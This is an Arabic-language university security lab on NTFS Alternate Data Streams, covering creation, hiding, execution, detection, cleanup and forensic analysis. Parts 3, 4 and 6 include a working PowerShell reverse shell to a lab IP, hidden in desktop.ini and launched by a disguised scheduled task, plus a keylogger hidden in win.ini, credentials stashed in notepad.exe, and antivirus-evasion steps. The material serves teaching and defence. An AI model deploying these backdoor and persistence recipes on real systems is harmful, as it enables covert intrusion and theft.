المختبر 4.2: تدفقات البيانات البديلة - إخفاء الملفات
الأهداف التعليمية
في نهاية هذا المختبر، ستكون قادرًا على:
- فهم مفهوم تدفقات البيانات البديلة في NTFS
- إنشاء ومعالجة تدفقات البيانات البديلة
- إخفاء الملفات والبرمجيات الخبيثة باستخدام ADS
- تنفيذ الكود من تدفق بديل
- اكتشاف وجود ADS على النظام
- تنظيف وإزالة ADS الخبيثة
المدة المقدرة
30 دقيقة
المتطلبات المسبقة
- جهاز افتراضي Windows مع نظام ملفات NTFS
- سطر الأوامر CMD وPowerShell
- فهم أنظمة الملفات (دورة نظرية)
- إكمال المختبر 4.1
السياق المهني
تدفقات البيانات البديلة (ADS) هي ميزة شرعية في NTFS، ولكن يتم استغلالها بشكل واسع من قبل المهاجمين لـ:
- إخفاء البرمجيات الخبيثة
- تخزين الأدوات بدون اكتشاف
- تجاوز بعض برامج مكافحة الفيروسات
- الحفاظ على الاستمرارية الخفية
- استخراج البيانات بشكل خفي
الاستخدام الشرعي:
- بيانات وصفية للملفات (معرف المنطقة، المؤلف، إلخ.)
- سمات ممتدة
- الصور المصغرة والمعاينات
- معلومات التنزيل (علامة الويب)
الاستخدام الخبيث:
- إخفاء البرمجيات الخبيثة
- تخزين بيانات الاعتماد المسروقة
- الأبواب الخلفية غير المرئية
- استخراج البيانات
التحذير الأخلاقي والقانوني
التقنيات التعليمية في هذا المختبر تُستخدم من قبل المهاجمين لإخفاء البرمجيات الخبيثة والحفاظ على الوصول الخفي إلى الأنظمة.
مسموح:
- على جهازك الافتراضي للاختبار
- لاختبارات الأمان المصرح بها
- للتحقيق الجنائي مع الإذن
ممنوع:
- إخفاء البرمجيات الخبيثة على الأنظمة الحقيقية
- الاستخدام لإخفاء الأنشطة الخبيثة
- استخراج البيانات غير المصرح به
العواقب: الاستخدام الخبيث = جريمة حاسوبية خطيرة (قانون العقوبات المادة 342.1، 430).
الجزء 1: فهم تدفقات البيانات البديلة
الخطوة 1.1: المفهوم الأساسي
نظام الملفات NTFS:
كل ملف NTFS لديه في الواقع عدة "تدفقات" (streams):
- التدفق الرئيسي: المحتوى المرئي للملف
- التدفقات البديلة: بيانات إضافية غير مرئية
الصياغة:
fichier.txt → التدفق الرئيسي
fichier.txt:stream1.txt → تدفق بديل باسم "stream1.txt"
fichier.txt:hidden.exe → تدفق بديل باسم "hidden.exe"
الخصائص:
- غير مرئية في مستكشف Windows
- غير مرئية مع
dirالقياسي - لا يوجد حد للحجم
- يمكن أن تحتوي على أي نوع من البيانات
- يمكن تنفيذها
الخطوة 1.2: التحقق من نظام الملفات الخاص بك
التحقق من أنك على NTFS:
fsutil fsinfo volumeinfo C:
ابحث عن: File System Name : NTFS
إذا كنت على FAT32 أو exFAT: ADS لا يعمل (NTFS فقط)
أسئلة:
- هل القرص C: لديك على NTFS؟
- هل سمعت عن ADS من قبل هذا المختبر؟
الجزء 2: إنشاء ومعالجة ADS
الخطوة 2.1: إنشاء أول ADS لك
أنشئ ملفًا عاديًا:
echo Ceci est le contenu visible > normal.txt
تحقق من الحجم:
dir normal.txt
يجب أن يعرض حوالي 30 بايت.
أضف تدفقًا بديلاً:
echo Ceci est un message secret caché > normal.txt:hidden.txt
تحقق مرة أخرى من الحجم:
dir normal.txt
مهم: الحجم لم يتغير! لا يزال 30 بايت!
افتح الملف باستخدام Notepad:
notepad normal.txt
ترى: "Ceci est le contenu visible"
الرسالة المخفية غير مرئية!
الخطوة 2.2: قراءة ADS
لقراءة محتوى التدفق المخفي:
more < normal.txt:hidden.txt
أو
notepad normal.txt:hidden.txt
يفتح Notepad بالمحتوى المخفي!
PowerShell:
Get-Content normal.txt:hidden.txt
أسئلة:
3. هل يمكنك رؤية التدفق المخفي باستخدام dir؟
4. كم "يزن" الملف مع التدفق المخفي؟ (نفس الحجم!)
الخطوة 2.3: سرد ADS لملف
الأمر لرؤية جميع التدفقات:
dir /R normal.txt
يجب أن يعرض:
30 normal.txt
33 normal.txt:hidden.txt:$DATA
PowerShell (أوضح):
Get-Item normal.txt -Stream *
النتيجة:
FileName: normal.txt
Stream Length
------ ------
:$DATA 30
hidden.txt 33
التدفق المخفي مكشوف!
الخطوة 2.4: إنشاء عدة ADS
يمكنك الحصول على عدة تدفقات على نفس الملف:
echo Secret 1 > normal.txt:data1.txt
echo Secret 2 > normal.txt:data2.txt
echo Secret 3 > normal.txt:data3.txt
سرد الكل:
Get-Item normal.txt -Stream *
ملف واحد، 4 تدفقات بيانات (1 رئيسي + 3 بديلة)!
أسئلة: 5. كم عدد التدفقات التي يمكنك إنشاؤها على ملف؟ 6. هل هناك حد للحجم لـ ADS؟
الجزء 3: إخفاء الملفات التنفيذية
الخطوة 3.1: إخفاء ملف تنفيذي كامل
أنشئ سكربت PowerShell خبيث:
احفظ malware.ps1:
Write-Host "Malware exécuté!" -ForegroundColor Red
whoami
hostname
Get-Process | Select-Object -First 10
اخفيه في ملف نصي بريء:
type malware.ps1 > innocent.txt:malware.ps1
تحقق:
dir innocent.txt
الحجم: بضع بايتات فقط (النص المرئي)!
لكن السكربت الكامل مخفي بالداخل!
نفذ السكربت المخفي:
powershell -ExecutionPolicy Bypass -File innocent.txt:malware.ps1
السكربت ينفذ من التدفق المخفي!
مذهل: الملف يبدو بريئًا (نص)، يحتوي في الواقع على سكربت كامل!
الخطوة 3.2: إخفاء ملف ثنائي .exe
قم بتنزيل netcat (nc.exe):
من: https://eternallybored.org/misc/netcat/
اخفيه في ملف صورة:
type nc.exe > photo.jpg:nc.exe
تحقق من الصورة:
dir photo.jpg
الحجم الطبيعي لصورة (بضع كيلوبايت).
افتح photo.jpg: الصورة تظهر بشكل طبيعي!
لكن netcat مخفي بداخلها!
نفذ netcat من التدفق:
wmic process call create "C:\Users\VotreNom\Desktop\photo.jpg:nc.exe"
Netcat ينفذ من الصورة!
أسئلة: 7. هل يقوم برنامج مكافحة الفيروسات بفحص ADS افتراضيًا؟ 8. كيف يمكن لمحلل جنائي اكتشاف ذلك؟
الخطوة 3.3: الاستمرارية عبر ADS
تقنية متقدمة: إخفاء backdoor + تنفيذ تلقائي
الخطوة 1 - إخفاء الحمولة:
# سكربت shell عكسي
$reverseShell = @"
`$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);
`$stream = `$client.GetStream();
[byte[]]`$bytes = 0..65535|%{0};
while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){
`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);
`$sendback = (iex `$data 2>&1 | Out-String);
`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';
`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);
`$stream.Write(`$sendbyte,0,`$sendbyte.Length);
`$stream.Flush()
};
`$client.Close()
"@
# إخفاء في ملف نظام بريء
$reverseShell | Out-File -FilePath "C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"
الخطوة 2 - إنشاء مهمة مجدولة تنفذ من ADS:
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "SystemMaintenance" -Action $action -Trigger $trigger
النتيجة:
- Backdoor غير مرئي تمامًا
- لا يوجد ملف .ps1 مرئي
- المهمة المجدولة تبدو طبيعية
- تنفذ عند كل بدء تشغيل
- صعب جدًا اكتشافها!
الجزء 4: استخراج البيانات عبر ADS
الخطوة 4.1: إخفاء البيانات المسروقة
السيناريو: لقد سرقت بيانات اعتماد وتريد استخراجها بشكل خفي.
أنشئ ملفًا ببيانات حساسة:
echo admin:Password123! > credentials.txt
echo user1:SecretPass456 >> credentials.txt
echo database:DBPassword789 >> credentials.txt
اخفيه في ملف نظام بريء:
type credentials.txt > C:\Windows\System32\notepad.exe:stolen_data.txt
احذف الأصل:
del credentials.txt
التحقق:
credentials.txtلم يعد موجودًاnotepad.exeله نفس الحجم كما كان- البيانات مخفية في notepad.exe!
استرجاع لاحقًا:
more < C:\Windows\System32\notepad.exe:stolen_data.txt
البيانات مسترجعة!
الخطوة 4.2: استخراج عبر النسخ
للاستخراج:
الطريقة 1 - نسخ الملف بالكامل:
copy C:\Windows\System32\notepad.exe E:\notepad_backup.exe
على جهاز آخر، استخرج التدفق:
more < notepad_backup.exe:stolen_data.txt
التدفقات محفوظة عند النسخ!
الطريقة 2 - استخراج مباشر للتدفق:
more < notepad.exe:stolen_data.txt > data.txt
أسئلة: 9. هل يتم الحفاظ على ADS عند النسخ؟ 10. ماذا يحدث إذا قمت بالنسخ إلى نظام FAT32؟
الجزء 5: اكتشاف ADS
الخطوة 5.1: طرق الاكتشاف
الطريقة 1 - DIR مع الخيار /R:
dir /R C:\Users\%USERNAME%\Desktop
يعرض جميع التدفقات لجميع الملفات.
الطريقة 2 - PowerShell (تكراري):
Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
$streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'}
if ($streams) {
[PSCustomObject]@{
File = $_.FullName
Stream = $streams.Stream -join ", "
Size = $streams.Length
}
}
} | Format-Table -AutoSize
الطريقة 3 - أداة Streams (Sysinternals):
تنزيل: https://learn.microsoft.com/en-us/sysinternals/downloads/streams
streams -s C:\Users\%USERNAME%
يعرض جميع الملفات مع ADS!
الخطوة 5.2: سكربت اكتشاف آلي
أنشئ detect_ads.ps1:
param(
[string]$Path = "C:\",
[switch]$SuspiciousOnly
)
Write-Host "=== DETECTION ALTERNATE DATA STREAMS ===" -ForegroundColor Cyan
Write-Host "Scanning: $Path"
Write-Host ""
$suspiciousExtensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd', '.js')
$results = @()
Get-ChildItem -Path $Path -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$file = $_
$streams = Get-Item $file.FullName -Stream * -ErrorAction Stop |
Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
$isSuspicious = $false
$reason = ""
# تحقق من وجود امتداد مشبوه
$streamExt = [System.IO.Path]::GetExtension($stream.Stream)
if ($streamExt -in $suspiciousExtensions) {
$isSuspicious = $true
$reason = "امتداد تنفيذي"
}
# تحقق من حجم التدفق الكبير
if ($stream.Length -gt 10KB) {
$isSuspicious = $true
$reason += " حجم كبير ($($stream.Length) bytes)"
}
# إذا كان وضع SuspiciousOnly، قم بالتصفية
if (-not $SuspiciousOnly -or $isSuspicious) {
$results += [PSCustomObject]@{
File = $file.FullName
Stream = $stream.Stream
Size = $stream.Length
Suspicious = $isSuspicious
Reason = $reason
}
}
}
} catch {}
}
if ($results.Count -gt 0) {
Write-Host "ADS DETECTES:" -ForegroundColor Yellow
$results | Format-Table -AutoSize
Write-Host "`nTotal: $($results.Count) streams trouvés" -ForegroundColor Yellow
$suspicious = ($results | Where-Object {$_.Suspicious}).Count
if ($suspicious -gt 0) {
Write-Host "ATTENTION: $suspicious streams suspects!" -ForegroundColor Red
}
} else {
Write-Host "Aucun ADS détecté." -ForegroundColor Green
}
التنفيذ:
# مسح الكل
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\Users\$env:USERNAME
# فقط المشبوهة
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\ -SuspiciousOnly
الخطوة 5.3: معرف المنطقة (الاستخدام الشرعي)
يستخدم Windows ADS لوضع علامة على الملفات التي تم تنزيلها:
قم بتنزيل ملف من الإنترنت، ثم:
Get-Item fichier_telecharge.exe -Stream *
سترى:
Stream: Zone.Identifier
اقرأه:
more < fichier_telecharge.exe:Zone.Identifier
المحتوى:
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/download
HostUrl=https://cdn.example.com/file.exe
ZoneId=3: تم تنزيله من الإنترنت (غير موثوق)
لهذا السبب يعرض Windows التحذير "هذا الملف مصدره الإنترنت"!
أسئلة: 11. ما هي الملفات على نظامك التي تحتوي على تدفق Zone.Identifier؟ 12. كيف تحذف هذا التدفق؟ (لتجاوز التحذير)
الجزء 6: تقنيات هجومية متقدمة
الخطوة 6.1: تنفيذ الكود من ADS
أنشئ دفعة خبيثة:
@echo off
whoami > C:\Users\Public\whoami.txt
ipconfig > C:\Users\Public\ipconfig.txt
net user > C:\Users\Public\users.txt
اخفيه:
type malware.bat > C:\Users\Public\readme.txt:payload.bat
نفذ من التدفق:
الطريقة 1 - WMIC:
wmic process call create "C:\Users\Public\readme.txt:payload.bat"
الطريقة 2 - PowerShell:
Start-Process -FilePath "C:\Users\Public\readme.txt:payload.bat"
الكود ينفذ! تحقق:
type C:\Users\Public\whoami.txt
يظهر اسم المستخدم الخاص بك!
البرمجيات الخبيثة كانت غير مرئية تمامًا حتى التنفيذ!
الخطوة 6.2: إخفاء Keylogger كامل
استخدم keylogger من المختبر 3.3:
اخفيه في ملف نظام:
type keylogger.ps1 > C:\Windows\win.ini:logger.ps1
win.ini: ملف نظام Windows شرعي، دائمًا موجود، لا يشتبه به أبدًا!
أنشئ مهمة مجدولة لتشغيله:
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\win.ini:logger.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger
النتيجة:
- Keylogger غير مرئي تمامًا
- لا يوجد ملف .ps1 مرئي
- الكشف صعب جدًا
- يعمل عند كل تسجيل دخول
الخطوة 6.3: تجاوز مكافحة الفيروسات مع ADS
بعض برامج مكافحة الفيروسات لا تفحص ADS افتراضيًا!
اختبار مع EICAR:
أنشئ ملف EICAR عادي:
echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > eicar.com
يجب أن يكتشف Windows Defender فورًا ويحذفه!
الآن، اخفيه في ADS:
echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > innocent.txt:eicar.com
النتيجة: بعض برامج مكافحة الفيروسات لا تكتشفه!
ملاحظة: Windows Defender الحديث يكتشف ADS، لكن ليس كل برامج مكافحة الفيروسات.
أسئلة: 13. هل اكتشف Defender EICAR في التدفق؟ 14. لماذا تكون ADS أصعب في الفحص؟
الجزء 7: تنظيف وإزالة ADS
الخطوة 7.1: إزالة تدفق محدد
PowerShell:
Remove-Item -Path "fichier.txt" -Stream "nom_du_stream"
مثال:
Remove-Item -Path "normal.txt" -Stream "hidden.txt"
تحقق:
Get-Item normal.txt -Stream *
يجب أن يكون التدفق "hidden.txt" قد اختفى!
الخطوة 7.2: إزالة جميع التدفقات من ملف
الطريقة 1 - النسخ إلى FAT32:
copy fichier.txt E:\USB_FAT32\fichier.txt
FAT32 لا يدعم ADS: جميعها محذوفة!
الطريقة 2 - أداة streams.exe:
streams -d fichier.txt
الخيار -d: حذف جميع التدفقات
الطريقة 3 - PowerShell تكراري:
Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -File | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
Write-Host "Suppression: $($_.FullName):$($stream.Stream)"
Remove-Item -Path $_.FullName -Stream $stream.Stream
}
}
تحذير: هذا يحذف جميع ADS، حتى الشرعية (Zone.Identifier)!
الخطوة 7.3: تنظيف أمني كامل
سكربت تنظيف آلي:
Write-Host "=== NETTOYAGE ADS MALVEILLANTS ===" -ForegroundColor Cyan
$cleaned = 0
$extensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd')
Get-ChildItem -Path C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$file = $_
$streams = Get-Item $file.FullName -Stream * -ErrorAction Stop |
Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
$streamExt = [System.IO.Path]::GetExtension($stream.Stream)
# حذف إذا كان الامتداد تنفيذي
if ($streamExt -in $extensions) {
Write-Host "SUPPRESSION: $($file.FullName):$($stream.Stream)" -ForegroundColor Red
Remove-Item -Path $file.FullName -Stream $stream.Stream -ErrorAction Stop
$cleaned++
}
}
} catch {}
}
Write-Host "`nTotal: $cleaned streams malveillants supprimés" -ForegroundColor Green
أسئلة: 15. كم عدد الملفات مع ADS التي وجدتها على نظامك؟ 16. كيف تفرق بين ADS الشرعي والخبيث؟
الجزء 8: التحقيق الجنائي والتحليل
الخطوة 8.1: تحليل نظام مخترق
السيناريو: تشك في أن مهاجمًا استخدم ADS.
تحقيق كامل:
Write-Host "=== INVESTIGATION FORENSIQUE ADS ===" -ForegroundColor Cyan
# البحث في المجلدات النظامية
$systemFolders = @(
"C:\Windows\System32",
"C:\Windows\Temp",
"C:\Users\*\AppData\Local\Temp"
)
foreach ($folder in $systemFolders) {
Write-Host "`nScanning: $folder" -ForegroundColor Yellow
Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'}
if ($streams) {
Write-Host " File: $($_.FullName)"
foreach ($stream in $streams) {
Write-Host " Stream: $($stream.Stream) ($($stream.Length) bytes)"
# قراءة البايتات الأولى للتحليل
$content = Get-Content $_.FullName:$($stream.Stream) -TotalCount 5 -ErrorAction SilentlyContinue
if ($content) {
Write-Host " Preview: $($content -join ' ')"
}
}
}
}
}
الخطوة 8.2: تحليل الخط الزمني
إنشاء خط زمني لـ ADS:
Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'} |
Select-Object @{N='File';E={$_.FileName}},
Stream,
@{N='Size';E={$_.Length}},
@{N='Created';E={(Get-Item $_.FileName).CreationTime}},
@{N='Modified';E={(Get-Item $_.FileName).LastWriteTime}}
} | Sort-Object Modified -Descending | Format-Table -AutoSize
يسمح برؤية:
- متى تم تعديل الملفات
- الارتباط مع الأحداث المشبوهة
- الخط الزمني للهجوم
الخطوة 8.3: استخراج للتحليل
استخراج جميع ADS في مجلد للتحليل:
$outputDir = "C:\Forensics\ADS_Extract"
New-Item -ItemType Directory -Force -Path $outputDir
Get-ChildItem C:\Suspect\Path -Recurse -File | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
$outputFile = Join-Path $outputDir "$($_.Name)_$($stream.Stream)"
Get-Content $_.FullName:$($stream.Stream) -Raw | Out-File $outputFile
Write-Host "Extracted: $outputFile"
}
}
ثم: تحليل مع مكافحة الفيروسات، فك التشفير، التحليل الثابت
أسئلة: 17. ما هي الأدوات التي ستستخدمها لتحليل ADS مشبوه؟ 18. كيف تعيد بناء الخط الزمني لهجوم يستخدم ADS؟
التسليمات
يجب تسليم:
-
تقرير تقني (Word/PDF، 3-4 صفحات):
- إجابات على الأسئلة الـ 18
- شرح لمفهوم ADS
- عرض 3 تقنيات للإخفاء
- نتائج سكربت الاكتشاف
-
لقطات شاشة (الحد الأدنى 6):
- إنشاء ADS مع ملف مخفي
dirمقابلdir /R(الفرق المرئي)- تنفيذ الكود من ADS
- الاكتشاف باستخدام PowerShell
- قائمة التدفقات (Get-Item -Stream *)
- إزالة ADS
-
السكربتات المطورة:
- سكربت اكتشاف محسن
- سكربت تنظيف آلي
- سكربت استخراج جنائي
-
تحليل حالة (1-2 صفحات):
- سيناريو هجوم باستخدام ADS
- منهجية الاكتشاف
- خطة العلاج
معايير التقييم
| المعيار | النقاط |
|---|---|
| فهم مفهوم ADS | 20% |
| إنشاء ومعالجة ADS | 25% |
| اكتشاف ADS الموجودة | 20% |
| سكربت اكتشاف وظيفي | 20% |
| التحليل الجنائي والعلاج | 15% |
أوامر مرجعية سريعة
الإنشاء
echo contenu > fichier.txt:stream.txt
type source.exe > fichier.txt:hidden.exe
القراءة
more < fichier.txt:stream.txt
notepad fichier.txt:stream.txt
type fichier.txt:stream.txt
الاكتشاف
dir /R
streams -s C:\
Get-Item fichier.txt -Stream *
Get-ChildItem -Recurse | Get-Item -Stream * | Where Stream -ne ':$DATA'
التنفيذ
wmic process call create "fichier.txt:payload.bat"
start fichier.txt:payload.exe
powershell -File fichier.txt:script.ps1
الإزالة
Remove-Item fichier.txt -Stream stream_name
streams -d fichier.txt
استكشاف الأخطاء وإصلاحها
المشكلة: "تم رفض الوصول" عند إنشاء ADS
الحل: تحقق من أن لديك حقوق الكتابة على الملف الرئيسي. إذا لم تتمكن من تعديل الملف، لا يمكنك إضافة تدفق.
المشكلة: ADS لا يعمل
الحل: تحقق من أنك على NTFS. FAT32/exFAT لا يدعم ADS.
المشكلة: التدفق المنسوخ إلى USB يختفي
الحل: USB الخاص بك ربما يكون على FAT32. يتم فقدان ADS عند النسخ إلى أنظمة ملفات غير NTFS.
الذهاب أبعد (اختياري)
التحدي 1: جنائيات ADS
حلل ملفًا مشبوهًا مع ADS:
- استخراج جميع التدفقات
- تحليل المحتوى (strings، تفريغ hex)
- تحديد الهدف الخبيث
- توثيق مؤشرات الاختراق (IOCs)
التحدي 2: الحماية الاستباقية
طور خدمة مراقبة تقوم بـ:
- مراقبة إنشاء ADS جديدة
- تنبيه على الامتدادات التنفيذية
- تسجيل جميع عمليات ADS
- حظر ADS المشبوهة تلقائيًا
التحدي 3: البحث
ادرس البرمجيات الخبيثة الحقيقية التي تستخدم ADS:
- Trojan.Sriknot (2007)
- تقنيات استخراج البيانات المتدفقة
- مجموعات APT التي تستخدم ADS للاستمرارية
موارد إضافية
الخاتمة
هذا المختبر علمك:
- مفهوم وعمل تدفقات البيانات البديلة
- تقنيات إخفاء الملفات والبرمجيات الخبيثة
- تنفيذ الكود من التدفقات المخفية
- طرق الاكتشاف الجنائي
- التنظيف والعلاج
الدروس الرئيسية:
- تسمح ADS بإخفاء ملفات كاملة داخل ملفات أخرى
- الملفات المخفية في ADS غير مرئية بالأدوات القياسية
- يمكن تنفيذ الكود مباشرة من ADS
- الاكتشاف يتطلب أدوات متخصصة أو أوامر محددة
- ADS هي تقنية استمرارية وإخفاء فعالة جدًا
في سياق حقيقي:
- تستخدمها البرمجيات الخبيثة المتقدمة لتجنب الاكتشاف
- تقنية استمرارية خفية
- استخراج بيانات خفي
- يتطلب جنائيات متقدمة لاكتشافها
الخطوة التالية: المختبر 4.3 حيث ستتعلم استعادة الملفات "المحذوفة نهائيًا" باستخدام نسخ الظل في Windows!
مختبر تم تطويره في إطار دورة أنظمة التشغيل - MODULE 4